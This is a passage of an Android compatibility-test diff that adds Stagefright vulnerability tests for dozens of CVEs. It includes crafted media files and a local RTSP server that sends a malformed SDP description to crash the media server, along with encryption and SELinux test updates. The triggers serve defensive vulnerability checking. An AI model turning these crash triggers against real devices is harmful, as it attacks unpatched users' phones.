         Uri videoUri = insertVideo(context);
-        File videofile = new File(ProviderTestUtils.stageDir(mVolumeName), "testVideo.3gp");
-        assertExists(videofile);
+        assertNotNull("Cannot open " + videoUri, mContentResolver.openFile(videoUri, "r", null));
         mContentResolver.delete(videoUri, null, null);
-        assertNotExists(videofile);
+        assertThrows(FileNotFoundException.class, () -> mContentResolver.openFile(videoUri, "r",
+                null));
     }
 
     private Uri insertVideo(Context context) throws IOException {
diff --git a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
index 7229574..824cb50 100644
--- a/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
+++ b/tests/tests/security/native/encryption/FileBasedEncryptionPolicyTest.cpp
@@ -46,14 +46,17 @@
 }
 
 #ifdef __arm__
-// For ARM32, assemble the 'aese.8' instruction as a .word, since otherwise
+// For ARM32, assemble the 'aese.8' instruction as an .inst, since otherwise
 // clang does not accept it.  It would be allowed in a separate file compiled
-// with -march=armv8, but this way is much easier.  And it's not yet possible to
-// use a target function attribute, because clang doesn't yet support
-// target("fpu=crypto-neon-fp-armv8") like gcc does.
-static void executeAESInstruction(void) {
+// with -march=armv8+crypto, but this way is much easier.  And it's not yet
+// possible to use a target function attribute, because clang doesn't yet
+// support target("fpu=crypto-neon-fp-armv8") like gcc does.
+//
+// We use the ARM encoding of the instruction, not the Thumb encoding.  So make
+// sure to use target("arm") to mark the function as containing ARM code.
+static void __attribute__((target("arm"))) executeAESInstruction(void) {
     // aese.8  q0, q1
-    asm volatile(".word  0xf3b00302" : : : "q0");
+    asm volatile(".inst  0xf3b00302" : : : "q0");
 }
 #elif defined(__aarch64__)
 static void __attribute__((target("crypto"))) executeAESInstruction(void) {
diff --git a/tests/tests/security/res/raw/cve_2018_9412.mp3 b/tests/tests/security/res/raw/cve_2018_9412.mp3
new file mode 100644
index 0000000..23391b3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_9412.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10489.mp4 b/tests/tests/security/res/raw/cve_2019_10489.mp4
new file mode 100644
index 0000000..a3eba77
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10489.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10532.wmv b/tests/tests/security/res/raw/cve_2019_10532.wmv
new file mode 100644
index 0000000..4869a54
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10532.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10578.mkv b/tests/tests/security/res/raw/cve_2019_10578.mkv
new file mode 100644
index 0000000..4e39345
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10578.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10579.mkv b/tests/tests/security/res/raw/cve_2019_10579.mkv
new file mode 100644
index 0000000..0b079d5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10579.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10590.mp4 b/tests/tests/security/res/raw/cve_2019_10590.mp4
new file mode 100644
index 0000000..84b7981
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10590.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10591.mp4 b/tests/tests/security/res/raw/cve_2019_10591.mp4
new file mode 100644
index 0000000..73b288a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10591.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10611.mp4 b/tests/tests/security/res/raw/cve_2019_10611.mp4
new file mode 100644
index 0000000..3374e81
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10611.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14003.mkv b/tests/tests/security/res/raw/cve_2019_14003.mkv
new file mode 100644
index 0000000..973a130
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14003.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14004.mkv b/tests/tests/security/res/raw/cve_2019_14004.mkv
new file mode 100644
index 0000000..c222cf7
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14004.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14005.mkv b/tests/tests/security/res/raw/cve_2019_14005.mkv
new file mode 100644
index 0000000..74d596b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14005.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14006.mkv b/tests/tests/security/res/raw/cve_2019_14006.mkv
new file mode 100644
index 0000000..37b0c0a
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14006.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14016.wmv b/tests/tests/security/res/raw/cve_2019_14016.wmv
new file mode 100644
index 0000000..aeff9c1
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14016.wmv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14017.mkv b/tests/tests/security/res/raw/cve_2019_14017.mkv
new file mode 100644
index 0000000..ad6a7ba
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14017.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14048.ts b/tests/tests/security/res/raw/cve_2019_14048.ts
new file mode 100644
index 0000000..1a79b20
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14048.ts
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14057.mkv b/tests/tests/security/res/raw/cve_2019_14057.mkv
new file mode 100644
index 0000000..4ec7655
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14057.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14061.mkv b/tests/tests/security/res/raw/cve_2019_14061.mkv
new file mode 100644
index 0000000..ec869f2
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14061.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14127.mkv b/tests/tests/security/res/raw/cve_2019_14127.mkv
new file mode 100644
index 0000000..e9e15a5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14127.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_14132.mp4 b/tests/tests/security/res/raw/cve_2019_14132.mp4
new file mode 100644
index 0000000..f95a77d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14132.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_1989_h264.mp4 b/tests/tests/security/res/raw/cve_2019_1989_h264.mp4
new file mode 100644
index 0000000..bc6f1ed
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_1989_h264.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_1989_info.mp4 b/tests/tests/security/res/raw/cve_2019_1989_info.mp4
new file mode 100644
index 0000000..57b59b5
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_1989_info.mp4
@@ -0,0 +1,46 @@
+1 706
+1 27
+1 8
+0 59463
+0 8879
+0 1702
+0 1196
+0 967
+0 6219
+0 1727
+0 542
+0 600
+0 9607
+0 2226
+0 763
+0 752
+0 10565
+0 2636
+0 966
+0 1030
+0 11734
+0 3270
+0 1056
+0 1003
+0 11993
+0 3253
+0 1066
+0 1091
+0 12431
+0 3425
+0 1118
+0 1149
+0 5523
+0 6016
+0 5999
+0 5897
+0 12690
+0 3997
+0 1127
+1 27
+1 7
+0 39989
+0 2702
+0 4955
+0 4868
+0 5516
diff --git a/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4 b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
new file mode 100644
index 0000000..a4bc980
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_framelen.mp4
@@ -0,0 +1,8 @@
+35
+28
+12
+6
+10
+31
+8
+130
diff --git a/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
new file mode 100644
index 0000000..26b8007
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2222_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2253.ogg b/tests/tests/security/res/raw/cve_2019_2253.ogg
new file mode 100644
index 0000000..98fe781
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2253.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3641.mp4 b/tests/tests/security/res/raw/cve_2020_3641.mp4
new file mode 100644
index 0000000..ee66c7c
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3641.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/MotionEventTest.java b/tests/tests/security/src/android/security/cts/MotionEventTest.java
index 0e39863..f7d3edc 100644
--- a/tests/tests/security/src/android/security/cts/MotionEventTest.java
+++ b/tests/tests/security/src/android/security/cts/MotionEventTest.java
@@ -129,19 +129,21 @@
         WidgetTestUtils.runOnMainAndLayoutSync(mActivityRule, view, null /*runnable*/,
                 true /*forceLayout*/);
 
-	// This ensures the window is visible, where the code above ensures
+        // This ensures the window is visible, where the code above ensures
         // the view is on screen.
         mActivityRule.runOnUiThread(() -> {
             // This will force WindowManager to relayout, ensuring the
-	    // transaction to show the window are sent to the graphics code.
+            // transaction to show the window are sent to the graphics code.
             wm.updateViewLayout(view, wmlp);
         });
 
+        // Find the position inside the main activity and outside of the overlays.
         FutureTask<Point> clickLocationTask = new FutureTask<>(() -> {
             final int[] viewLocation = new int[2];
-            view.getLocationOnScreen(viewLocation);
+            final View decorView = mActivity.getWindow().getDecorView();
+            decorView.getLocationOnScreen(viewLocation);
             // Set y position to the center of the view, to make sure it is away from the status bar
-            return new Point(viewLocation[0], viewLocation[1] + view.getHeight() / 2);
+            return new Point(viewLocation[0], viewLocation[1] + decorView.getHeight() / 2);
         });
         mActivity.runOnUiThread(clickLocationTask);
         Point viewLocation = clickLocationTask.get(5, TimeUnit.SECONDS);
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 66059d8..c978dad 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -40,12 +40,15 @@
 import android.opengl.GLES11Ext;
 import android.os.Looper;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.util.Log;
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
 
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
 
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
@@ -94,6 +97,7 @@
  * Verify that the device is not vulnerable to any known Stagefright
  * vulnerabilities.
  */
+@AppModeFull
 @RunWith(AndroidJUnit4.class)
 public class StagefrightTest {
     static final String TAG = "StagefrightTest";
@@ -1254,8 +1258,213 @@
      ***********************************************************/
 
     @Test
+    @SecurityTest(minPatchLevel = "2016-09")
+    public void testStagefright_cve_2016_3880() throws Exception {
+        Thread server = new Thread() {
+            @Override
+            public void run() {
+                try (ServerSocket serverSocket = new ServerSocket(8080) {
+                        {setSoTimeout(10_000);} // time out after 10 seconds
+                    };
+                    Socket conn = serverSocket.accept()
+                ) {
+                    OutputStream outputstream = conn.getOutputStream();
+                    InputStream inputStream = conn.getInputStream();
+                    byte input[] = new byte[65536];
+                    inputStream.read(input, 0, 65536);
+                    String inputStr = new String(input);
+                    if (inputStr.contains("DESCRIBE rtsp://127.0.0.1:8080/cve_2016_3880")) {
+                        byte http[] = ("RTSP/1.0 200 OK\r\n"
+                        + "Server: stagefright/1.2 (Linux;Android 9)\r\n"
+                        + "Content-Type: application/sdp\r\n"
+                        + "Content-Base: rtsp://127.0.0.1:8080/cve_2016_3880\r\n"
+                        + "Content-Length: 379\r\n"
+                        + "Cache-Control: no-cache\r\nCSeq: 1\r\n\r\n").getBytes();
+
+                        byte sdp[] = ("v=0\r\no=- 64 233572944 IN IP4 127.0.0.0\r\n"
+                        + "s=QuickTime\r\nt=0 0\r\na=range:npt=now-\r\n"
+                        + "m=video 5434 RTP/AVP 96123456\r\nc=IN IP4 127.0.0.1\r\n"
+                        + "b=AS:320000\r\na=rtpmap:96123456 H264/90000\r\n"
+                        + "a=fmtp:96123456 packetization-mode=1;profile-level-id=42001E;"
+                        + "sprop-parameter-sets=Z0IAHpZUBaHogA==,aM44gA==\r\n"
+                        + "a=cliprect:0,0,480,270\r\na=framesize:96123456 720-480\r\n"
+                        + "a=control:track1\r\n").getBytes();
+
+                        outputstream.write(http);
+                        outputstream.write(sdp);
+                        outputstream.flush();
+                    }
+                } catch (IOException e) {
+                }
+            }
+        };
+        server.start();
+        String uri = "rtsp://127.0.0.1:8080/cve_2016_3880";
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(new CrashUtils.Config()
+                .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                RenderTarget renderTarget = RenderTarget.create();
+                Surface surface = renderTarget.getSurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    mp.setDataSource(uri);
+                    mp.prepareAsync();
+                } catch (IOException e) {
+                    Log.e(TAG, e.toString());
+                } finally {
+                    closeQuietly(fd);
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        t.start();
+        assertFalse("Device *IS* vulnerable to CVE-2016-3880",
+                mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join();
+        server.join();
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-05")
+    public void testStagefright_cve_2020_3641() throws Exception {
+        doStagefrightTest(R.raw.cve_2020_3641);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void testStagefright_cve_2019_14127() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14127);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void testStagefright_cve_2019_14132() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14132);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_10591() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10591);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-02")
+    public void testStagefright_cve_2019_10590() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10590);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14004() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14004);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14003() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14003);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-02")
+    public void testStagefright_cve_2019_14057() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14057);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10532() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10532);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10578() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10578);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_14061() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14061, 180000);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10611() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10611);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testStagefright_cve_2019_10489() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10489);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testStagefright_cve_2019_14048() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14048);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2253() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2253);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_10579() throws Exception {
+        doStagefrightTestANR(R.raw.cve_2019_10579);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14005() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14005);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_cve_2019_14006() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14006);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_CVE_2019_14016() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14016);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2020-01")
+    public void testStagefright_CVE_2019_14017() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_14017);
+    }
+
+    @Test
+    @SecurityTest(minPatchLevel = "2018-07")
+    public void testStagefright_cve_2018_9412() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_9412, 180000);
+    }
+
+    @Test
     @SecurityTest(minPatchLevel = "Unknown")
     public void testStagefright_bug_142641801() throws Exception {
+        assumeFalse(ModuleDetector.moduleIsPlayManaged(
+            getInstrumentation().getContext().getPackageManager(),
+            MainlineModule.MEDIA));
         doStagefrightTest(R.raw.bug_142641801);
     }
 
@@ -1457,10 +1666,37 @@
         doStagefrightTest(R.raw.cve_2016_3879, new CrashUtils.Config().checkMinAddress(false));
     }
 
+    /***********************************************************
+     to prevent merge conflicts, add P tests below this comment,
+     before any existing test methods
+     ***********************************************************/
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-12")
+    public void testStagefright_cve_2019_2222() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.cve_2019_2222_framelen);
+        doStagefrightTestRawBlob(R.raw.cve_2019_2222_hevc, "video/hevc", 320, 240, frameSizes);
+    }
+
     private void doStagefrightTest(final int rid) throws Exception {
         doStagefrightTest(rid, null);
     }
 
+    /***********************************************************
+     to prevent merge conflicts, add Q tests below this comment,
+     before any existing test methods
+     ***********************************************************/
+
+    @Test
+    @SecurityTest(minPatchLevel = "2019-03")
+    public void testStagefright_cve_2019_1989() throws Exception {
+        Object obj[] = getFrameInfo(R.raw.cve_2019_1989_info);
+        int[] isHeader = (int[])obj [0];
+        int[] frameSizes = (int[])obj [1];
+        doStagefrightTestRawBlob(R.raw.cve_2019_1989_h264, "video/avc",
+                1920, 1080, frameSizes, isHeader, new CrashUtils.Config());
+    }
+
     private void doStagefrightTest(final int rid, CrashUtils.Config config) throws Exception {
         NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
         policy.setCleartextTrafficPermitted(true);
@@ -2249,6 +2485,25 @@
         return frameSizes;
     }
 
+    private Object[] getFrameInfo(int rid) throws IOException {
+        final Context context = getInstrumentation().getContext();
+        final Resources resources = context.getResources();
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+        FileInputStream fis = fd.createInputStream();
+        byte[] frameInfo = new byte[(int) fd.getLength()];
+        fis.read(frameInfo);
+        fis.close();
+        String[] lines = new String(frameInfo).trim().split("\\r?\\n");
+        int isHeader[] = new int[lines.length];
+        int frameSizes[] = new int[lines.length];
+        for (int i = 0; i < lines.length; i++) {
+            String[] values = lines[i].trim().split("\\s+");
+            isHeader[i] = Integer.parseInt(values[0]);
+            frameSizes[i] = Integer.parseInt(values[1]);
+        }
+        return new Object[] {isHeader, frameSizes};
+    }
+
     private void runWithTimeout(Runnable runner, int timeout) {
         Thread t = new Thread(runner);
         t.start();
@@ -2533,6 +2788,136 @@
         thr.join();
     }
 
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+            int frameSizes[], int isHeader[], CrashUtils.Config config) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
+        final Context context = getInstrumentation().getContext();
+        final Resources resources = context.getResources();
+        LooperThread thr = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                AssetFileDescriptor fd = null;
+                try {
+                    fd = resources.openRawResourceFd(R.raw.good);
+                    // the onErrorListener won't receive MEDIA_ERROR_SERVER_DIED until
+                    // setDataSource has been called
+                    mp.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+                    fd.close();
+                } catch (Exception e) {
+                    // this is a known-good file, so no failure should occur
+                    fail("setDataSource of known-good file failed");
+                }
+                synchronized (mpcl) {
+                    mpcl.notify();
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        thr.start();
+        // wait until the thread has initialized the MediaPlayer
+        synchronized (mpcl) {
+            mpcl.wait();
+        }
+
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+        byte[] blob = new byte[(int) fd.getLength()];
+        FileInputStream fis = fd.createInputStream();
+        int numRead = fis.read(blob);
+        fis.close();
+
+        // find all the available decoders for this format
+        ArrayList<String> matchingCodecs = new ArrayList<String>();
+        int numCodecs = MediaCodecList.getCodecCount();
+        for (int i = 0; i < numCodecs; i++) {
+            MediaCodecInfo info = MediaCodecList.getCodecInfoAt(i);
+            if (info.isEncoder()) {
+                continue;
+            }
+            try {
+                MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                if (caps != null) {
+                    matchingCodecs.add(info.getName());
+                }
+            } catch (IllegalArgumentException e) {
+                // type is not supported
+            }
+        }
+
+        if (matchingCodecs.size() == 0) {
+            Log.w(TAG, "no codecs for mime type " + mime);
+        }
+        String rname = resources.getResourceEntryName(rid);
+        // decode this blob once with each matching codec
+        for (String codecName : matchingCodecs) {
+            Log.i(TAG, "Decoding blob " + rname + " using codec " + codecName);
+            MediaCodec codec = MediaCodec.createByCodecName(codecName);
+            MediaFormat format = MediaFormat.createVideoFormat(mime, initWidth, initHeight);
+            try {
+                codec.configure(format, null, null, 0);
+                codec.start();
+            } catch (Exception e) {
+                Log.i(TAG, "Exception from codec " + codecName);
+                releaseCodec(codec);
+                continue;
+            }
+            try {
+                MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+                ByteBuffer[] inputBuffers = codec.getInputBuffers();
+                int numFrames = 0;
+                if (frameSizes != null) {
+                    numFrames = frameSizes.length;
+                }
+                if (0 == numFrames) {
+                    fail("Improper picture length file");
+                }
+                int offset = 0;
+                int j = 0;
+                while (j < numFrames) {
+                    int flags = 0;
+                    int bufidx = codec.dequeueInputBuffer(5000);
+                    if (bufidx >= 0) {
+                        inputBuffers[bufidx].rewind();
+                        Log.i(TAG, "Got buffer index " + bufidx + " with length "
+                                + inputBuffers[bufidx].capacity());
+                        if (isHeader[j] == 1) {
+                            flags = MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
+                        }
+                        if (j == (numFrames - 1)) {
+                            flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                        }
+                        Log.i(TAG, "Feeding frame " + j + " with framelen " + frameSizes[j]
+                                + " offset " + offset + " and flags " + flags);
+                        inputBuffers[bufidx].put(blob, offset, frameSizes[j]);
+                        codec.queueInputBuffer(bufidx, 0, frameSizes[j], 0, flags);
+                        offset = offset + frameSizes[j];
+                        j++;
+                    } else {
+                        Log.i(TAG, "no input buffer");
+                    }
+                    bufidx = codec.dequeueOutputBuffer(info, 5000);
+                    if (bufidx >= 0) {
+                        codec.releaseOutputBuffer(bufidx, false);
+                    } else {
+                        Log.i(TAG, "no output buffer");
+                    }
+                }
+            } catch (Exception e) {
+                // ignore, not a security issue
+            } finally {
+                releaseCodec(codec);
+            }
+        }
+        String cve = rname.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        thr.stopLooper();
+        thr.join();
+    }
+
     private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
         doStagefrightTestMediaPlayerANR(rid, uri, null);
     }
diff --git a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
index 6ec352c..496270f 100644
--- a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
+++ b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
@@ -12,6 +12,7 @@
 import java.util.Collections;
 import java.util.regex.Pattern;
 import java.util.regex.Matcher;
+import org.junit.Assert;
 
 abstract class SELinuxTargetSdkTestBase extends AndroidTestCase
 {
@@ -19,6 +20,8 @@
         System.loadLibrary("ctsselinux_jni");
     }
 
+    static final byte[] ANONYMIZED_HARDWARE_ADDRESS = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
     protected static String getFile(String filename) throws IOException {
         BufferedReader in = null;
         try {
@@ -76,19 +79,11 @@
         }
     }
 
-    protected static void checkNetlinkRouteBind(boolean expectAllowed) throws IOException {
-        if (!expectAllowed) {
-            assertEquals(
-                    "Bind() is not allowed on a netlink route sockets",
-                    13,
-                    checkNetlinkRouteBind());
-        } else {
-            assertEquals(
-                    "Bind() should succeed for netlink route sockets for apps with "
-                            + "targetSdkVersion <= Q",
-                    -1,
-                    checkNetlinkRouteBind());
-        }
+    protected static void noNetlinkRouteBind() throws IOException {
+        assertEquals(
+                "bind() is not allowed on netlink route sockets",
+                13,
+                checkNetlinkRouteBind());
     }
 
     /**
@@ -169,16 +164,17 @@
     }
 
     /**
-     * Verify that apps having targetSdkVersion <= 29 are able to see MAC
-     * addresses of ethernet devices.
+     * Verify that apps having targetSdkVersion <= 29 get an anonymized MAC
+     * address (02:00:00:00:00:00) instead of a null MAC for ethernet interfaces.
      * The counterpart of this test (testing for targetSdkVersion > 29) is
      * {@link libcore.java.net.NetworkInterfaceTest#testGetHardwareAddress_returnsNull()}.
      */
-    protected static void checkNetworkInterface_returnsHardwareAddresses() throws Exception {
+    protected static void checkNetworkInterface_returnsAnonymizedHardwareAddresses()
+        throws Exception {
         assertNotNull(NetworkInterface.getNetworkInterfaces());
         for (NetworkInterface nif : Collections.list(NetworkInterface.getNetworkInterfaces())) {
             if (isEthernet(nif.getName())) {
-                assertEquals(6, nif.getHardwareAddress().length);
+                Assert.assertArrayEquals(ANONYMIZED_HARDWARE_ADDRESS, nif.getHardwareAddress());
             }
         }
     }
diff --git a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
index 1ed366e..1098a6f 100644
--- a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
@@ -83,6 +83,6 @@
     }
 
     public void testNoNetlinkRouteBind() throws IOException {
-        checkNetlinkRouteBind(false);
+        noNetlinkRouteBind();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
index a784464..5e2f75d 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
index 880ae1a..29b68db 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
diff --git a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
index 1f1eaaa..c1d93dc 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
@@ -47,8 +47,8 @@
         checkNetlinkRouteGetlink(true);
     }
 
-    public void testNetlinkRouteBindSucceeds() throws IOException {
-        checkNetlinkRouteBind(true);
+    public void testNoNetlinkRouteBind() throws IOException {
+        noNetlinkRouteBind();
     }
 
     public void testCanNotExecuteFromHomeDir() throws Exception {
@@ -86,6 +86,6 @@
     }
 
     public void testNetworkInterface() throws Exception {
-        checkNetworkInterface_returnsHardwareAddresses();
+        checkNetworkInterface_returnsAnonymizedHardwareAddresses();
     }
 }
